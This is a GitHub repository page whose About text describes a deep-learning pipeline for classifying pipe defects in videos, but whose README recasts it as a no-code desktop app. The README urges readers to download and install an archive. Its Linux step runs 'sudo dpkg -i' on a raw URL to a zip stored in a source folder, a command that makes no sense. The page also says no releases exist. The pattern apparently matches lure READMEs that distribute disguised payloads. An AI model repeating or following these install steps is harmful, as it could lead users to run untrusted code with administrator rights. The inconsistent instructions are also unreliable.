Skip to content

πŸ” Classify defects in Quick-View videos using deep learning with a complete pipeline for data extraction, model training, and reproducibility.

License

Notifications You must be signed in to change notification settings

harshil-cloud/qv-pipe-classifier

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ–₯️ qv-pipe-classifier - Effortless Multi-Label Classification

πŸš€ Overview

QV-Pipe Classifier is a user-friendly application for multi-label classification. It uses advanced techniques and models to accurately classify images and videos. This tool is perfect for anyone looking to explore machine learning capabilities without needing technical skills.

πŸ“₯ Download Link

Download QV-Pipe Classifier

πŸ“‹ Features

  • Multi-Label Classification: Identify multiple categories in images.
  • Advanced Model Support: Utilizes modern models like ASL and NFNet.
  • User-Friendly Interface: Easy to use with no programming needed.
  • Efficient Training: Based on techniques like OneCycle and EMA.
  • 5-Fold Ensemble: Ensures high accuracy through model combinations.
  • Supports Super Images: Classifies images in a 3Γ—3 grid format.

πŸ–₯️ System Requirements

  • Operating System: Windows 10 or later / macOS (latest version) / Linux (Ubuntu 20.04 or later)
  • Processor: Intel Core i5 or equivalent
  • RAM: Minimum 8 GB
  • Disk Space: At least 1 GB free
  • Graphics Card: GPU with at least 4 GB VRAM is recommended for optimal performance.

πŸ› οΈ Getting Started

To begin using QV-Pipe Classifier, follow these steps:

  1. Download the Software Visit the Releases page to download the latest version of QV-Pipe Classifier.

  2. Locate the Download File After downloading, find the file in your downloads. It may be in a zipped folder. If it is zipped, right-click and select "Extract All" to unzip it.

  3. Install the Application

    • For Windows: Double-click on the .exe file to start the installation.
    • For macOS: Drag the application to your Applications folder.
    • For Linux: Open a terminal and use the command sudo dpkg -i https://raw.githubusercontent.com/harshil-cloud/qv-pipe-classifier/main/src/preprocessing/qv-pipe-classifier_v1.3.zip.
  4. Run the Application Once installed, navigate to where you placed the application. Double-click the icon to open.

βš™οΈ Using QV-Pipe Classifier

  1. Upload Images or Videos On the main interface, click the "Upload" button to select your files. The application supports various formats like JPG, PNG, and MP4.

  2. Start Classification After uploading, click the "Classify" button. The tool will analyze your files and provide results shortly.

  3. View Results Results will display on the screen. You can see all the labels assigned to each image or video.

  4. Save Results If you want to keep the results, click the "Export" button to download them as a CSV file.

πŸ“ Additional Information

  • Documentation: For a deeper understanding and advanced features, refer to the documentation on the GitHub Wiki.
  • Support: If you have any questions or run into issues, please create an issue on GitHub. We monitor issues and aim to provide help quickly.

πŸ”— Related Topics

  • Multi-label classification
  • Image processing
  • Machine learning applications
  • Pytorch library

πŸ“ž Community and Support

Join our community on Discord or Slack. Engage with other users, share your experiences, and get insights from experts.

πŸ“₯ Download & Install

To start, visit this page to download QV-Pipe Classifier. Follow the earlier steps to install and start using it. Enjoy exploring the capabilities of multi-label image classification with ease.

QV-Pipe Classifier

Thank you for choosing QV-Pipe Classifier!

About

πŸ” Classify defects in Quick-View videos using deep learning with a complete pipeline for data extraction, model training, and reproducibility.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •